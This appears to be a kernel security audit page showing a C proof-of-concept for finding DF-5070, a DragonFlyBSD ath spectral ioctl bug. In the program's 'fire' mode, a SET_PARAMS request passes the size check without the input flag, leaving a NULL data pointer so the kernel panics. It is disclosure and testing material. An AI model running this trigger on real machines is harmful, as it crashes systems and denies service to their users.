⬢ DragonFlyBSD Kernel Audit
DF-5070 / df5070_trigger.c
← back to finding ↓ download raw
/* DF-5070 trigger: drive the spectral SET_PARAMS sink.
 *
 *   control  <dev>  - SET_PARAMS (7) WITH ATH_DIAG_IN, 64B of 0xff -> 0
 *   contrast <dev>  - ENABLE_AT_RESET (8), in_size=4, NO flag      -> EINVAL
 *   fire     <dev>  - SET_PARAMS (7), in_size=64, NO flag          -> PANIC
 *
 * The fire call passes the :233 size check (ad_in_size is an independent
 * struct field the user fully controls) while never setting ATH_DIAG_IN,
 * so indata stays NULL exactly as in if_ath_spectral.c:184+197.
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>

struct df5070_diag {
	char	ad_name[16];
	unsigned short ad_id;
#define	ATH_DIAG_DYN	0x8000
#define	ATH_DIAG_IN	0x4000
#define	ATH_DIAG_ID	0x0fff
	unsigned short ad_in_size;
	char	*ad_in_data;
	char	*ad_out_data;
	unsigned int ad_out_size;
};
#define	DF5070_IOCTL	_IOWR('D', 70, struct df5070_diag)

#define	SPECTRAL_CONTROL_SET_PARAMS		7
#define	SPECTRAL_CONTROL_ENABLE_AT_RESET	8

struct sp {
	unsigned short ss_fft_period;
	unsigned short ss_period;
	unsigned short ss_count;
	unsigned short ss_short_report;
	unsigned char radar_bin_thresh_sel;
	unsigned short ss_spectral_pri;
	signed char ss_nf_cal[6];
	signed char ss_nf_pwr[6];
	int ss_nf_temp_data;
	int ss_enabled;
	int ss_active;
};

int
main(int argc, char **argv)
{
	struct df5070_diag ad;
	char inbuf[64];
	int fd, rc;

	if (argc < 3) {
		fprintf(stderr, "usage: %s control|contrast|fire <device>\n",
		    argv[0]);
		exit(2);
	}
	printf("user-side sizeof(HAL_SPECTRAL_PARAM)=%zu "
	    "(sizeof(struct df5070_diag)=%zu)\n", sizeof(struct sp),
	    sizeof(struct df5070_diag));

	memset(&ad, 0, sizeof(ad));
	memset(inbuf, 0xff, sizeof(inbuf));	/* NOVAL fields -> no RMW */

	if (strcmp(argv[1], "control") == 0) {
		ad.ad_id = SPECTRAL_CONTROL_SET_PARAMS | ATH_DIAG_IN;
		ad.ad_in_size = 64;		/* >= sizeof(HAL_SPECTRAL_PARAM) */
		ad.ad_in_data = inbuf;
	} else if (strcmp(argv[1], "contrast") == 0) {
		ad.ad_id = SPECTRAL_CONTROL_ENABLE_AT_RESET;	/* no IN flag */
		ad.ad_in_size = 4;		/* passes the :256 size check */
	} else if (strcmp(argv[1], "fire") == 0) {
		ad.ad_id = SPECTRAL_CONTROL_SET_PARAMS;		/* no IN flag */
		ad.ad_in_size = 64;		/* passes the :233 size check */
	} else {
		fprintf(stderr, "bad mode\n");
		exit(2);
	}

	fd = open(argv[2], O_RDWR);
	if (fd < 0) {
		perror("open");
		exit(1);
	}
	rc = ioctl(fd, DF5070_IOCTL, &ad);
	printf("%s: ad_id=0x%04x (id=%u, flags %s%s) ad_in_size=%u -> "
	    "ioctl rc=%d errno=%d(%s)\n", argv[1], ad.ad_id,
	    ad.ad_id & ATH_DIAG_ID,
	    (ad.ad_id & ATH_DIAG_IN) ? "+IN " : "-in ",
	    (ad.ad_id & ATH_DIAG_DYN) ? "+DYN" : "-dyn",
	    ad.ad_in_size, rc, rc < 0 ? errno : 0,
	    rc < 0 ? strerror(errno) : "ok");
	if (rc == 0 && strcmp(argv[1], "fire") == 0)
		printf("fire: UNEXPECTED SUCCESS (kernel returned without "
		    "faulting)\n");
	return (0);
}